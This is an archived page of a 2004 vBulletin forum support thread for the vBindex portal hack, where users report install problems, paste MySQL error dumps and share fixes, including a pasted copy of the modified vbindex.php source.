PDA

View Full Version : vBindex v3.0.0 RC5


Pages : 1 2 3 4 5 6 7 8 [9] 10

notorious
11-07-2004, 02:58 PM
Hello, stupid question here but have to ask it anyway.

I just purchased vBulletin and am getting it all set up before converting my phpBB forum.

I want to use vBindex as I am presently using Smartor's EX Portal with phpBB.

What is the best thing to do. get the new vb forum completely set up the way I want it with the color scheme (skin) I intend to use etc and then install vBindex or should I install it first.

Any advice would be helpful and appreciated.

i would install your skins first then install vbindex makes it alot easier to install

CrossBones
11-07-2004, 08:48 PM
i would install your skins first then install vbindex makes it alot easier to installThanks.

Blue Moose Aaron
11-08-2004, 04:05 PM
Has anyone figured out how to display attachments in the news post?

EricR
11-08-2004, 11:45 PM
Shoutbox fix, only apllies if you have people in gloal ignore/user ignore list.

Find in vbindex.php (arounf line 970)

FROM ".TABLE_PREFIX."vbindex_shoutbox

Replace with:


FROM ".TABLE_PREFIX."vbindex_shoutbox AS shoutbox
I tried this and it didn't work. I still get this error when clicking on the shoutbox:
"Unknown table 'shoutbox' in where clause"

I do have someone in the global ignore list (tachy goes to coventry) and I did not get this error before when that list was empty. Anyone got a fix?

marc_t
11-09-2004, 11:29 AM
Oh damn.. this thread is growing and growing.. Wouldn't it be nice to have a summary of often asked things like "How do I make vbindex.php my index Site?" and sort of this? As you can see at this posts no one is taking care of all that 134 sites of postings ;)

Or is this summary already existing and I didn't get it? :p

Furthermore a list of all additions made by other ppl, as custom block mods from interest (e.g. bookshop out of threads in a special forum etc.) would be great? Also already existing and I didn't see it? ;)

Cheers... .. .

EricR
11-09-2004, 01:06 PM
Actually I DID search this entire thread for a solution. Hence the quoted text :rolleyes: The posted "fix" is already in RC5 which is what I'm running. My shoutbox doesn't work because of the error I mentioned. If anyone has a solution (short of clearing the global ignore list) please reply. Thanks!

ZGeek
11-11-2004, 10:05 PM
Has anyone been able to fix the bug with the whos online yet?

chris2707
11-11-2004, 11:30 PM
Yes - but I can't remember how I did it. It was to do with users choosing to be invisible. I'll compare the hack instructions with what I now have and post here asap.

ZGeek
11-11-2004, 11:38 PM
Thanks mate, that would be awesome :)

chris2707
11-11-2004, 11:45 PM
OK - not much to change. See attached .txt file

Sorry - forgot to put the file to edit in the text - edit vbindex.php

ZGeek
11-12-2004, 12:07 AM
chris2707 thank you!

Your fix has made me a very happy person indeed. May all clothes fall off the people you want to see naked. :)

flstreetscene
11-14-2004, 02:56 PM
Ok, my members can not login through the front page;

http://www.floridastreetscene.com/vbindex.php

When the username / pass is entered they are taken to this page;

http://www.floridastreetscene.com/login.php

How can I fix this??

Thanks.

NastyOp
11-14-2004, 04:25 PM
Hello,

I'm receiveing this message in my error logs.

File does not exist: /home/ataforum/public_html/http://www.myurl.com/cron.php.

The cron file is located where it is supposed to be but for some reason the url is being added after /public html/ instead of just the cron.php. I read some previous posts and they said it was related to VBindex and the way it calls the $cronimage. I have not modified the copyright in any way. Could someone please shed some light on this situation. I have read about 50 of the pages in this thread but no luck. Thanks in advance.

Morpheus_2003
11-14-2004, 06:04 PM
Hi

Please could someone confirm if this works with VB3.0.3 please?

I'm a newbie and don't want to just jump right in! :)

YUSIF
11-14-2004, 10:07 PM
Hi

Please could someone confirm if this works with VB3.0.3 please?

I'm a newbie and don't want to just jump right in! :)



UP

would like to inform when this work with vb 3.0.3

jb605
11-16-2004, 03:50 AM
installed with a localized vbulletin 3.03. Seems it works great so far. Might be problems not found yet. But so far so good :nervous:

jb605
11-16-2004, 12:54 PM
installed with a localized vbulletin 3.03. Seems it works great so far. Might be problems not found yet. But so far so good :nervous:

I have edited admincp/index.php, but looks like my vbindex option is still not showing up in the admincp panel. So it is kind of hard to get to its control panel part.

Anybody has any suggestion?

bangbang
11-16-2004, 03:03 PM
Clicks Install

Excellent script NTLDR

I'm using your "blank page" script with vBindex to have custom content in the center block using the template vbindex_extra_insertname and it works great.

All the page URL's end with vbindex.php?page=article

I want to use this method to display tons of articles, but is it possible to implement a search engine script to pull the text from these article pages?

Here's an example page http://www.clangrounds.com/index.php?page=servers

Thanks.

Blue Moose Aaron
11-17-2004, 05:18 AM
I have edited admincp/index.php, but looks like my vbindex option is still not showing up in the admincp panel. So it is kind of hard to get to its control panel part.

Anybody has any suggestion?

Did you add it to the phrase manager? If not go into your admin cp and add the following as a new phrase:

Varname: vbindex_options
Text: vBindex Options

marc_t
11-18-2004, 01:20 PM
Is there a site with add-ons to vbindex existing? Like if you have a certain forum, where you have got reviews of books and you wanna have one of those reviews schown randomly in a custom box on the right side?

EricR
11-18-2004, 06:04 PM
Is there a site with add-ons to vbindex existing? Like if you have a certain forum, where you have got reviews of books and you wanna have one of those reviews schown randomly in a custom box on the right side?
There used to be Core Forums (http://www.coreforums.net) but now that url just redirects to this thread. Apparantly this thread is now the sole point of contact for this portal script. Unfortunately the support has also disappeared as I never did get a response for my own issue. Core Forums had a few good modifications / add-ons too, so it's a shame to have lost that.

Scerina
11-19-2004, 05:09 AM
I am gettin this mySQL error message on my vB index homepage:

Database error in vBulletin 3.0.0:

Invalid SQL:
## GET NEWS ##
SELECT thread.*,thread.iconid AS threadiconid, threadpost.pagetext AS pagetext,
threadpost.attach AS attachcount,
avatarpath, NOT ISNULL(avatardata) AS customavatar, user.avatarrevision, customavatar.dateline AS customdateline,
NOT ISNULL(subscribethread.subscribethreadid) AS issubscribed,
IF(user.displaygroupid = 0, user.usergroupid, user.displaygroupid) AS displaygroupid
FROM vb3thread AS thread
LEFT JOIN vb3user AS user ON (thread.postuserid = user.userid)
LEFT JOIN vb3post AS threadpost ON (thread.firstpostid = threadpost.postid)
LEFT JOIN vb3deletionlog AS deletionlog ON(thread.threadid = deletionlog.primaryid AND type = 'thread')

LEFT JOIN vb3customavatar AS customavatar ON (customavatar.userid = user.userid)
LEFT JOIN vb3avatar AS avatar ON (avatar.avatarid = user.avatarid)

LEFT JOIN vb3subscribethread AS subscribethread ON(subscribethread.threadid = thread.threadid AND subscribethread.userid = 1)
WHERE forumid IN (http://www.underworld-chaos.net/boards/showthread.php?goto=newpost&t=432)
AND deletionlog.primaryid IS NULL
AND forumid NOT IN (0)
AND thread.open <> 10
AND thread.visible = '1'
AND thread.postuserid NOT IN (90,61)

ORDER BY thread.dateline DESC
LIMIT 10
mysql error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '://www.underworld-chaos.net/boards/showthread.php?goto=newpost&

mysql error number: 1064

Date: Friday 19th of November 2004 02:07:16 AM
Script: http://www.underworld-chaos.net/boards/vbindex.php
Referer:
Username: Pandora
IP Address: *CONFIDENTIAL*

Can someone please help me???

~Pandora~

MPM.com
11-20-2004, 10:04 AM
Right, I have read 40+ pages now and cant seem to find the answer to this.

I have installed this hack and everything seems fine, I still need to change path to smilies though.

The only problem is, I use a flash header which has links to forum and home. This seems to have been changed when I installed the hack. It is pointing to the wrong address on the home page.

I havent renamed the home page yet so see the link here:

http://www.mobilephonemadness.com/vbindex.php

Any idea what I need to change to fix this? Where are the variables such as $stylevar[imgdir_misc] defined?


Thanks In Advance
Mark
www.mobilephonemadness.com

BrandNIC
11-20-2004, 03:25 PM
You have to remember you can have only one "index.php" file in one area. I have vBindex running in the same spot as VBull is.

Before you install vBindex your link to your site would be like... http://www.yoursite.org/index.php

Once vBindex is installed by default you would access the portal page via this...
http://www.yoursite.org/vbindex.php

Now what I have done for my site to make the portal the first page members see is the following...
login to admincp, vBulletin Options, scroll down the list and select Forums Home Page Options. Change the Script Name for Forum Home Page(by default its Index) So for this example we'll change it to forum.

Via your ftp change VBulletin's "index.php" to "forum.php"

Via your ftp change vBindex "vbindex.php" to "index.php"

Now when you login to your site via http://www.yoursite.org/index.php you will be taken to the portal page. To directly access the forums the link would be http://www.yoursite.org/forum.php

vBindex also adds a link to the nav bar to the forums. I hope that helps.

This is my very first post here since I'm such a newb at this I thaught I'd say thanks for the hack and a HUGE thank you to KWOPPER for these instructions.
I just last week purchased VB and installed vbindex last night, It was a bit of work till I came across this one post.
Things went as smooth as anyone would want.
One question I have though is it ok that I removed the powered by disclamer at the bottom of the vbindex page?
I have purchased the branded free licence for VB and didnt see a point in having it there.I did however keep (vBindex Copyright ? MMII - MMIV Winter Systems). on the page per the posted disclaimer.
I have it setup at http://www.offroadrc.com
Any feedback would be appreciated.


******Clicks Install******

apn3a
11-20-2004, 07:43 PM
hi, can anyone help me transfer the statistics box (threads, posts and newest member)from the forum to the vbindex portal?

b6gm6n
11-20-2004, 09:47 PM
has anyone got the photopost block code handy, cannot find it in this thread, i have photopost and vbindex, i would like to include some thumbs on vbindex, please advise, cheers

-b6

tjad
11-20-2004, 10:47 PM
lol I attempted to install this and I'm not sure where itwent. I got the options in the control panel but I don't see it as my first page. Help please
http://www.werbeyond.com/forum/index.php?

urmyantichrist
11-21-2004, 01:52 AM
<a href="http://www.werbeyond.com/forum/vbindex.php?" target="_blank">http://www.werbeyond.com/forum/vbindex.php?</a> Here's your vbindex page, looks like you've got some errors though..,.

jbristor
11-23-2004, 01:09 AM
Nice Hack which I have installed. Everything is fine but I get these errors once in awhile:

--------------------------------
Database error in vBulletin 3.0.3:

Invalid SQL: ## COUNT SHOUTS ##
SELECT COUNT(*) AS shouts
FROM vbindex_shoutbox
WHERE 1 = 1

AND shoutbox.userid NOT IN (137,465,508,197)
mysql error: Unknown table 'shoutbox' in where clause

mysql error number: 1109

--------------------

Or several variations of the same error message.

Code Monkey
11-24-2004, 12:28 AM
Anyone ever figure out why Firefox opens the index page out of align randomly? This was mentioned on the old core forums but never replied to I believe.

marc_t
11-24-2004, 10:18 AM
Uninstalled this mod again. Forum was not running perfectly anymore. The queries took too much power with all the users we have got. Maybe I will try a own solution with precaching the topics. Out database server was not running anymore with vbindex running.

Furthermore this thread is really too complex to get help. A support site would be great, really ;)

Code Monkey
11-24-2004, 02:21 PM
Well, this project is basically abandoned from the looks of it. There used to be a site, but that was shut down.

paulmjno
11-24-2004, 08:07 PM
Well, this project is basically abandoned from the looks of it. There used to be a site, but that was shut down.
Too bad. Did anyone manage to fix the "users online"? Cos I've just taken it down now...

urmyantichrist
11-24-2004, 08:58 PM
Still looking for custom blocks... Anyone know of some?

Code Monkey
11-24-2004, 10:49 PM
There are a few around. I just make my own. Much easier that way.

urmyantichrist
11-25-2004, 02:04 AM
I would, but I just suck at that stuff..lol

I've been looking and it seems 90% of the custom blocks I find are for vbAdvanced...

flstreetscene
11-26-2004, 01:52 AM
Does anyone know why on my frontpage the background image of the title of each block is missing? like in my forums theres a 'color fade' while the ones on the front page are one color?

http://www.floridastreetscene.com/vbindex.php

Also how can I make the tables strech out as far as the nav box is? As you can see they are a bit thinner.

7mSeni
11-26-2004, 10:25 AM
there is a BUG
If im Offline the Online Users dont show right nummber

forkboy
11-26-2004, 12:22 PM
Ok I just installed this hack a few days ago, and the install went quite smoothly, I did get a few errors, but after a fresh re-install I fixed them.

Anyways I have a few problems that maybe you guys can resolve, hopefully LOL.

I'm not much of a coder or programmer of php, I'm basically just a user. I download install, make a few minor changes to the php, and that's about it.

My website is currently running a skin from a 3rd party designer, and it runs great on the forums, but it doesn't display properly on vBindex. As you can see here:

Forums: http://www.bhonline.net/forum/index.php?

and here's what the vBindex looks like: http://www.bhonline.net/forum/vbindex.php?

Pretty crappy eh? Well I've taken the time this morning to contact the 3rd party designer of the skin, hopefully he'll reply and be able to help me, if not I was hoping someone here might be able to dedicate some time to this project and help me out. ;)

I would like for the skin to display properly and would like for the page itself to display like the forums do in a fixed format where when you change the size of your browser to make it bigger or smaller the size of the page doesn't grow or get "squished." :p

If anyone has some time to dedicate to this or help me out, I would be VERY thankful and your time would be compensated if need be.

I do very much like this hack, and would hate to goto another Portal now, but if I can't get this skin to work, i really don't have much choice.

Thank you in advance for checking my post out! ;)

paulmjno
11-27-2004, 03:30 AM
there is a BUG
If im Offline the Online Users dont show right nummber
This doesnt show right for anyone but the admin...I have simply disabled users online...

oliwood
11-28-2004, 04:40 PM
oh, in my vbb 3.0.0 it writes "could not find 'vbindex_settings_saved' after i want to save the options with vbioptions.php.

in vbindex.php it states


Datenbankfehler in vBulletin 3.0.0:

Ungueltige SQL-Abfrage:
## GET NEWS ##
SELECT thread.*,thread.iconid AS threadiconid, threadpost.pagetext AS pagetext,
threadpost.attach AS attachcount,
avatarpath, NOT ISNULL(avatardata) AS customavatar, user.avatarrevision, customavatar.dateline AS customdateline,
NOT ISNULL(subscribethread.subscribethreadid) AS issubscribed,
IF(user.displaygroupid = 0, user.usergroupid, user.displaygroupid) AS displaygroupid
FROM thread AS thread
LEFT JOIN user AS user ON (thread.postuserid = user.userid)
LEFT JOIN post AS threadpost ON (thread.firstpostid = threadpost.postid)
LEFT JOIN deletionlog AS deletionlog ON(thread.threadid = deletionlog.primaryid AND type = 'thread')

LEFT JOIN customavatar AS customavatar ON (customavatar.userid = user.userid)
LEFT JOIN avatar AS avatar ON (avatar.avatarid = user.avatarid)

LEFT JOIN subscribethread AS subscribethread ON(subscribethread.threadid = thread.threadid AND subscribethread.userid = 2)
WHERE forumid IN ()
AND deletionlog.primaryid IS NULL
AND forumid NOT IN (0)
AND thread.open <> 10
AND thread.visible = '1'

AND thread.postuserid NOT IN (7681,7681)
ORDER BY thread.sticky DESC, thread.dateline DESC
LIMIT 0
mysql error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ')
AND deletionlog.primaryid IS NULL
AND forumid NOT IN (0

mysql error number: 1064

Datum: 28.11.2004 19:36:14
Skript: http://www.testboard.planet-oliwood.to/vbb/vbindex.php

TheEnd
11-30-2004, 07:50 PM
Works GREAT.
I had a few questions though:

I was wondering if there was a way I could add a "Home" to the navbar on each style. If anyone knows how, please let me know.

Also, how could I replace the "News" section with a template on another page, (Like have the original news page, then like blah.php that has everything that vbindex.php has, but without the News, just link it to another template, basically just html inside it)
Heres an example.

-Forums - Usercp - FAQ - Logout-

-Users Online- -blah- -Shoutbox-
blah content blah content
-VBindexCustom1- blah content blah blah

-Latest Threads-

TheEnd
11-30-2004, 07:53 PM
This doesnt show right for anyone but the admin...I have simply disabled users online...
Try hitting Refresh. I noticed it would say 0 users online, then I would refresh and then it would show me. I'm not clear on what your asking if thats not it.

chet
12-01-2004, 08:11 AM
Hi all, I want to add this (http://www.chetnet.co.uk/ntlstatus.php) to the bottom of my portal, I guess just above "All times are GMT. The time now is" would be nice, could someone let me know how I would achieve this

Thanks

Chet

jmacieira
12-01-2004, 11:00 AM
Olá pessoal

ninguem fala Portugues por aqui ?
fiz a instalação do vBindex v3.0.0 RC5 e correu tudo bem (sem erros), mas agora que tenho eu de fazer para vizualizar no meu site as janelas laterais ?

jmacieira
12-01-2004, 09:46 PM
Thank´s ...I love this....

I resolve my problems

TheEnd
12-02-2004, 06:29 PM
Alright, well I edited out some of the news strings in the index.php and called it roster.php, and same with vbioptions.php, which i copied and made it vbioptions2.php. The settings are still set on both, which one = the other. Is there a way I can change the database where vbioptions2 is saved? Heres what I got (not much).
Roster.php
<?php

// +--------------------------------------------------------------------+
// | vBindex Version 3.0.0 Release Candidate 5 (UK English)
// | Copyright (C) MMII - MMIV Winter Systems
// | This file may not be redistributed in whole or significant part.
// +--------------------------------------------------------------------+
// | vBindex, File v3.0.21
// |--------------------------------------------------------------------+
// | Support will only be given at Core Forums (http://www.coreforums.net)
// | to those who have confirmed they are licenced, or at vBulletin.org
// | via the vBindex 3.x thread listed bellow.
// +--------------------------------------------------------------------+
// | v1.x Release(s) by el3m3nt:
// | (https://vborg.vbsupport.ru/showthread.php?threadid=37021)
// | v2.x Release(s) by NTLDR (aka Eldorado):
// | (https://vborg.vbsupport.ru/showthread.php?threadid=41916)
// | v3.x Release(s) by NTLDR (aka Eldorado):
// | (http://www.coreforums.net/forums/showthread.core?threadid=93)
// | (https://vborg.vbsupport.ru/showthread.php?threadid=59524)
// +--------------------------------------------------------------------+

// ####################### SET PHP ENVIRONMENT ###########################
error_reporting(E_ALL & ~E_NOTICE);

// #################### DEFINE IMPORTANT CONSTANTS #######################
define('NO_REGISTER_GLOBALS', 1);
define('THIS_SCRIPT', 'vbindex');
define('AVATAR_ON_NAVBAR', 1);

// ################### PRE-CACHE TEMPLATES AND DATA ######################
// get special phrase groups
$phrasegroups = array(
'vbindex'
);

// get special data templates from the datastore
$specialtemplates = array(
'smiliecache',
'bbcodecache',
'iconcache',
'userstats',
'birthdaycache',
'vbindex_setting',
'vbindex_version',
'vbindex_config'
);

// pre-cache templates used by all actions
$globaltemplates = array(
// global templates
'VBINDEX',
'VBINDEX_SHELL',
'vbindex_side',
'vbindex_header',
'vbindex_footer',
'vbindex_onlineuser',
'vbindex_onlineusers',
'vbindex_pm_popup_script',
'vbindex_navbar',
'vbindex_headinclude',
// roster
'vbindex_roster',
// latest threads
'vbindex_latestthreads',
'vbindex_latestthreadbit',
'vbindex_centerthreadbit',
// shoutbox
'vbindex_shoutbox',
'vbindex_shoutboxbit',
// today's events
'vbindex_event',
'vbindex_eventbit',
// bbocode
'bbcode_code',
'bbcode_html',
'bbcode_php',
'bbcode_quote',
// bithdays
'vbindex_birthdays',
// calendar
'vbindex_calendar',
'calendar_smallmonth_day',
'calendar_smallmonth_day_other',
'calendar_smallmonth_header',
'calendar_smallmonth_week',
// poll
'vbindex_poll',
'vbindex_poll_option',
'vbindex_poll_result',
// custom boxes
'vbindex_customblock_php',
// default to 6 to prevent extra queries
'vbindex_customblock_1',
'vbindex_customblock_2',
'vbindex_customblock_3',
'vbindex_customblock_4',
'vbindex_customblock_5',
'vbindex_customblock_6',
);

// pre 4.1.0 don't have superglobals, so lets create the
// two indexs we're interested in before vB does
if (PHP_VERSION < '4.1.0') {
$_REQUEST['page'] = &$HTTP_GET_VARS['page'];
$_REQUEST['section'] = &$HTTP_GET_VARS['section'];
}

// pre-cache templates used by specific actions
// link the page we're requesting to the do var so that vB3 will
// pre-cache the template and save 1 query
if (!empty($_REQUEST['page'])) {
$_REQUEST['do'] = &$_REQUEST['page'];
define('EXTRA_PAGE', true);
}
// pre cache the phpinc template per extra page.
if (!empty($_REQUEST['section'])) {
$_REQUEST['do'] = &$_REQUEST['section'];
define('EXTRA_PAGE', true);
}
$actiontemplates = array(
$_REQUEST['page'] => array(
'vbindex_extra_'.$_REQUEST['page']
),
$_REQUEST['section'] => array(
'vbindex_extra_'.$_REQUEST['section'],
'vbindex_extra_php_'.$_REQUEST['section']
)
);

if (!defined('EXTRA_PAGE')) {
define('EXTRA_PAGE', false);
}

// ######################### REQUIRE BACK-END ############################
// this contains a few config vars for vBindex to make upgrades easier
require_once('./vbiconfig2.php');

if (!defined('SCRIPT_EXTENSION')) {
// should the script extension not be defined assume .php
define('SCRIPT_EXTENSION', '.php');
}

chdir(CHDIR_PATH);
require_once('./global'.SCRIPT_EXTENSION);
require_once('./includes/functions_bbcodeparse'.SCRIPT_EXTENSION);
require_once('./includes/functions_bigthree'.SCRIPT_EXTENSION);
require_once('./includes/functions_user'.SCRIPT_EXTENSION);

// ######################### vBindex OPTIONS #############################
$vbindex = unserialize($datastore['vbindex_setting']);
$vbindex['version'] = $datastore['vbindex_version'];
$ext = SCRIPT_EXTENSION;

// options bitfields
$_VBINDEX['options'] = array(
'vbi_left_col' => 1,
'vbi_right_col' => 2,
'vbi_shownews' => 4,
'vbi_shownewsavatar' => 8,
'vbi_showthreads' => 16,
'vbi_showshoutbox' => 32,
'vbi_both_cols' => 64,
'vbi_wol' => 128,
'vbi_subnews' => 256,
'vbi_subthreads' => 512,
'vbi_subnewposts' => 1024,
'vbi_welcomeav' => 2048,
'vbi_scrollshoutbox' => 4096,
'vbi_allowshoutdelete' => 8192,
'vbi_showcalendar' => 16384,
'vbi_showbirthdays' => 32768,
'vbi_showpoll' => 65536,
'vbi_randompoll' => 131072,
'vbi_disabledshout' => 262144,
'vbi_shownewposts' => 524288,
'vbi_stickynews' => 1048576,
'vbi_24wol' => 2097152,
'vbi_24woluser' => 4194304,
'vbi_ascshout' => 8388608,
'vbi_vbwar' => 16777216,
'vbi_showweekends' => 33554432,
//'vbi_newscharlimit' => 67108864, // needs to be added to vbioptions.php, as does $vbindex['newscharlimit'] for the number of chars
'vbi_showcenterthreads' => 134217728,
);

// define all the options for on the spot checks
foreach($_VBINDEX['options'] AS $option => $bitfield) {
define(strtoupper($option), $bitfield);
}
unset($option, $bitfield);

// ################################################## #####################
// ######################## START MAIN SCRIPT ############################
// ################################################## #####################

// ############################ INIT VARS ###############################

// user configured forumids to exclude
if (!empty($vbindex['limitfids'])) {
$limitfids = array();
$limitfids = explode(',', $vbindex['limitfids']);
foreach($limitfids AS $key => $value) {
$limitfids["$key"] = intval($value);
}
} else {
$limitfids = array(0);
}

$globalignore = ''; // global ignore list
$globalshoutignore = ''; // global ignore list as used in the shoutbox
$shoutignore = ''; // users ignore list as used in the shoutbox
$ignorelist = ''; // users ignore list
$onlineusers = '';
$previewfield = '';
$previewjoin = '';
$pollbits = '';
$home['subscribedthreads'] = 0;
$home['newposts'] = 0;
$home['newthreads'] = 0;
$avatarcache = array(); // avatar cache, saves 1 query if a avatar is returned from the cache
$threadids = array();
$iconcache = unserialize($datastore['iconcache']); // thread icon cache

// #################### PROCESS FORUM PERMISSIONS #######################

// fetch the permissions for each forum
$forumperms = array();
foreach($forumcache AS $forum) {

$forumperms["$forum[forumid]"] = fetch_permissions($forum['forumid']);

// ## HIDE FORUMS WITHOUT THE CANVIEW OR CANVIEWOTHERS PERMISSION ##
if (!($forumperms["$forum[forumid]"] & CANVIEW) || !($forumperms["$forum[forumid]"] & CANVIEWOTHERS)) {
// forum pass? || !verify_forum_password($forum['forumid'], $foruminfo['password'], false);) {
$limitfids[] = $forum['forumid'];
}
}
unset($forum);

// ####################### PROCESS IGNORE LISTS #########################
// ## GLOBAL IGNORE ##
if ($Coventry = fetch_coventry('string')) {
$globalignore = "AND thread.postuserid NOT IN ($Coventry) ";
$globalshoutignore = "AND shoutbox.userid NOT IN ($Coventry)";
}
// ## USERS IGNORE ##
if (trim($bbuserinfo['ignorelist'])) {
$ignorelist = 'AND thread.postuserid NOT IN ('.str_replace(' ', ',', $bbuserinfo['ignorelist']).')';
$shoutignore = 'AND shoutbox.userid NOT IN ('.str_replace(' ', ',', $bbuserinfo['ignorelist']).')';
}

// ################ PROCESS SPECIFIC GET/POST ACTIONS ###################
// ## START INSERT NEW SHOUT ##
if (($vbindex['options'] & VBI_SHOWSHOUTBOX) && trim(!empty($_POST['shout'])) && $bbuserinfo['userid']) {

// needed for convert_url_to_bbcode();
require_once('./includes/functions_newpost'.SCRIPT_EXTENSION);

// check length of shout
if (!empty($vbindex['max_shout_length']) && vbstrlen($_POST['shout']) > $vbindex['max_shout_length']) {
eval(print_standard_error('error_vbi_shout_too_lon g'));
}

$DB_site->query(" ## INSERT NEW SHOUT ##
INSERT INTO ".TABLE_PREFIX."vbindex_shoutbox
(shoutid, userid, shout, dateline)
VALUES
(NULL, '$bbuserinfo[userid]', '".addslashes(convert_url_to_bbcode($_POST['shout']))."',
'".TIMENOW."')");

$url = "$_SERVER[PHP_SELF]?$session[sessionurl]";
eval(print_standard_redirect('redirect_vbi_shoutad ded'));
}
// ## START DELETE SHOUT ##
if ($_REQUEST['action'] == 'deleteshout') {

$shoutid = intval($_REQUEST['shoutid']);

if (in_array($bbuserinfo['usergroupid'], $vbindex['global_shout_delete'])) {
// global shout delete group so delete it
$deleteshout = true;
} else {
$deleteshout = false;
}

if (($vbindex['options'] & VBI_ALLOWSHOUTDELETE) && !$deleteshout) {

// check user is the shouter
$shout = $DB_site->query_first("## DELETE SHOUT ##
SELECT userid, shoutid
FROM ".TABLE_PREFIX."vbindex_shoutbox
WHERE shoutid = '$shoutid'");

if ($shout['userid'] == $bbuserinfo['userid']) {
// delete shout as user is shouter
$deleteshout = true;
} else {
$deleteshout = false;
// error user isn't shouter
eval(print_standard_error('error_vbi_cant_delete_o thers_shouts'));
}
}

if ($deleteshout === true) {
$DB_site->query("DELETE FROM ".TABLE_PREFIX."vbindex_shoutbox WHERE shoutid = '$shoutid'");
$url = "$_SERVER[PHP_SELF]?$session[sessionurl]";
eval(print_standard_redirect('redirect_vbi_shoutde leted'));
}
}

// #################### GET NEW POSTS/THREAD INFO #######################
if ($bbuserinfo['userid'] > 0 && ($vbindex['options'] & VBI_SHOWNEWPOSTS)) {
if (!empty($bbuserinfo['lastvisit'])) {
$datecut = $bbuserinfo['lastvisit'];
} else {
$datecut = TIMENOW - (24 * 60 * 60 * 1);
}

$getnew = $DB_site->query("
## GET NEW POSTS / THREADS ##
SELECT post.postid, post.threadid
".iif(($vbindex['options'] & VBI_SUBNEWPOSTS) AND $bbuserinfo['userid'], ', NOT ISNULL(subscribethread.subscribethreadid) AS issubscribed')."
FROM ".TABLE_PREFIX."post AS post
".iif(($vbindex['options'] & VBI_SUBNEWPOSTS) AND $bbuserinfo['userid'], "
LEFT JOIN ".TABLE_PREFIX."subscribethread AS subscribethread ON(subscribethread.threadid = post.threadid AND subscribethread.userid = $bbuserinfo[userid])"
)."
WHERE dateline >= $datecut
AND visible = '1'");

while($new = $DB_site->fetch_array($getnew)) {
$home['newposts']++;
if (!in_array($new['threadid'], $threadids)) {
$home['newthreads']++;
$threadids[] = $new['threadid'];
if ($new['issubscribed']) {
$home['subscribedthreads']++;
}
}
}
$home['newposts'] = vb_number_format($home['newposts']);
$home['newthreads'] = vb_number_format($home['newthreads']);
// memory saving
unset($new, $datecut, $threadids);
$DB_site->free_result($getnew);
}

// user statistics
$userstats = unserialize($datastore['userstats']);
$home['numbermembers'] = vb_number_format($userstats['numbermembers']);
$home['newusername'] = $userstats['newusername'];
$home['newuserid'] = $userstats['newuserid'];
unset($userstats);

// ####################### PROCESS vBindex WOL ##########################
if ($vbindex['options'] & VBI_WOL) {
$online['datecut'] = TIMENOW - $vboptions['cookietimeout'];
$buddies = explode(' ', $bbuserinfo['buddylist']);

$onlineusers = $DB_site->query("
## GET ONLINE USERS ##
SELECT user.username, (user.options & $_USEROPTIONS[invisible]) AS invisible,
user.usergroupid, session.userid, session.lastactivity,
IF(displaygroupid=0, user.usergroupid, displaygroupid) AS displaygroupid
FROM ".TABLE_PREFIX."session AS session
LEFT JOIN ".TABLE_PREFIX."user AS user ON (user.userid = session.userid)
WHERE session.lastactivity > $online[datecut]
ORDER BY ".iif($permissions['genericpermissions'] & CANSEEHIDDEN, 'invisible ASC, ')."username ASC");

$home['onlinetotal'] = 0;
$home['onlineguesttotal'] = 0;
$home['onlinemembertotal'] = 0;
$done = array();
while($onlineuser = $DB_site->fetch_array($onlineusers)) {

if ($onlineuser['userid'] && !$done["$onlineuser[userid]"]) {

$done["$onlineuser[userid]"] = true;

$home['onlinetotal']++;
$home['onlinemembertotal']++;

// do invisible users
if (($permissions['genericpermissions'] & CANSEEHIDDEN) && $onlineuser['invisible']) {
$onlineuser['invisiblemark'] = '*';
} elseif ($onlineuser['invisible']) {
$home['onlineguesttotal']++;
$home['onlinemembertotal']--;
break 1;
}

// do buddies
if (in_array($onlineuser['userid'], $buddies)) {
$onlineuser['buddymark'] = '+';
}

$onlineuser['musername'] = fetch_musername($onlineuser);
eval("\$home[onlineusers] .= \", ".fetch_template('vbindex_onlineuser')."\";");

} elseif ($onlineuser['userid'] == 0) {
$home['onlineguesttotal']++;
$home['onlinetotal']++;
}
}

if ($vbindex['options'] & VBI_24WOL) {
// show users from the last 24 hours
$show['last24'] = true;
unset($onlineuser);
$starttime = mktime(0, 0, 0, date('m'), date('d'), date('Y'));


if ($vbindex['options'] & VBI_24WOLUSER) {

// show user names and count
$show['last24user'] = true;

$fetchusers = $DB_site->query("
## USERS IN PAST 24HRS ##
SELECT username, userid, usergroupid,
(user.options & $_USEROPTIONS[invisible]) AS invisible,
IF(displaygroupid=0, user.usergroupid, displaygroupid) AS displaygroupid
FROM ".TABLE_PREFIX."user AS user
WHERE lastactivity >= $starttime
ORDER BY username ASC
");

while($onlineuser = $DB_site->fetch_array($fetchusers)) {

$home['last24count']++;
$onlineuser['musername'] = fetch_musername($onlineuser);

if (($permissions['genericpermissions'] & CANSEEHIDDEN) && $onlineuser['invisible']) {
$onlineuser['invisiblemark'] = '*';
} elseif ($onlineuser['invisible']) {
$onlineuser['musername'] = '';
$home['last24count']--;
}

eval("\$home[last24] .= \", ".fetch_template('vbindex_onlineuser')."\";");
}
// removed inital comma in online list
$home['last24'] = substr($home['last24'], 2);
// memory saving
unset($user);
$DB_site->free_result($fetchusers);

} else {

// show count only
$show['last24user'] = false;
$onlinetoday = $DB_site->query_first(" ## USERS IN LAST 24HRS COUNT ##
SELECT COUNT(*) AS count
FROM ".TABLE_PREFIX."user
WHERE lastactivity >= $starttime
");
$home['last24count'] = $onlinetoday['count'];
}
}

// removed inital comma in online list
$home['onlineusers'] = substr($home['onlineusers'], 2);
eval("\$side[onlineusers] .= \"".fetch_template('vbindex_onlineusers')."\";");
// memory saving
unset($onlineuser, $done, $online, $buddies);
$DB_site->free_result($onlineusers);
}

// ######################### PROCESS NEWS ############################
// standard news block
if (($vbindex['options'] & VBI_SHOWNEWS) && !($vbindex['options'] & VBI_VBWAR) && !EXTRA_PAGE && $_REQUEST['action'] != 'shoutbox') {

$getnews = $DB_site->query("
## GET NEWS ##
SELECT thread.*,thread.iconid AS threadiconid, threadpost.pagetext AS pagetext,
threadpost.attach AS attachcount,
".iif($vbindex['options'] & VBI_SHOWNEWSAVATAR, 'avatarpath, NOT ISNULL(avatardata) AS customavatar, user.avatarrevision, customavatar.dateline AS customdateline,')."
".iif(($vbindex['options'] & VBI_SUBNEWS) AND $bbuserinfo['userid'], 'NOT ISNULL(subscribethread.subscribethreadid) AS issubscribed,')."
IF(user.displaygroupid = 0, user.usergroupid, user.displaygroupid) AS displaygroupid
